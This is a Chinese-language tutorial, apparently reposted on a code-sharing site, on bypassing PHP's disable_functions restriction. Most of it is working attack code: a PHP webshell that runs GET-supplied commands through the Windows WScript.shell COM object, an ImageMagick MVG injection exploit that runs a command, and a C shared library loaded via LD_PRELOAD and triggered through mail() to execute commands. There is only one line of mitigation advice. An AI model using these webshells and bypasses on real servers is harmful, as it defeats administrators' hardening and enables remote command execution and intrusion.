PHP繞過disable_function限制(一)


測試環境 php 5.4.5

0x01 利用系統組件繞過

 1.window com組件(php 5.4)(高版本擴展要自己添加)

(COM組件它最早的設計意圖是,跨語言實現程序組件的復用。)

 

測試:

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //調用對象方法來執行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件

2.利用ImageMagick漏洞繞過disable_function

 ImageMagick是一套功能強大、穩定而且開源的工具集和開發包,可以用來讀、寫和處理超過89種基本格式的圖片文件
如果phpinfo中看到有這個,可以嘗試以下

官網下載地址:https://imagemagick.org 

拓展下載:

https://pecl.php.net/package/imagick

https://windows.php.net/downloads/pecl/releases/imagick/3.4.1/

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

3.利用環境變量LD_PRELOAD來繞過

php的mail函數在執行過程中會默認調用系統程序/usr/sbin/sendmail,如果我們能劫持sendmail程序,再用mail函數來觸發就能實現我們的目的

 

LD_PRELOAD是Linux系統的下一個有趣的環境變量:“它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

例子:利用mali函數來測試

#include<stdlib.h>
#include <stdio.h>
#include<string.h>
 
void payload(){
         FILE*fp = fopen("/tmp/2.txt","w");
         fclose(fp);
         system("mkdir /var/www/html/test");
 }
 
 
int geteuid(){
  FILE *fp1=fopen("/tmp/2.txt","r");
  if(fp1!=NULL)
  {
   fclose(fp1);
         return 552;
        }else {
         payload();
         return 552;
       }
 
 
}
執行命令編譯為一個動態共享庫:

gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

通過putenv來設置LD_PRELOAD,讓我們的程序優先被調用。在webshell上用mail函數發送一封郵件來觸發。結果為

<?php
   putenv("LD_PRELOAD=/var/www/html/a.so");
   mail("[email protected]","","","","");
  ?>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM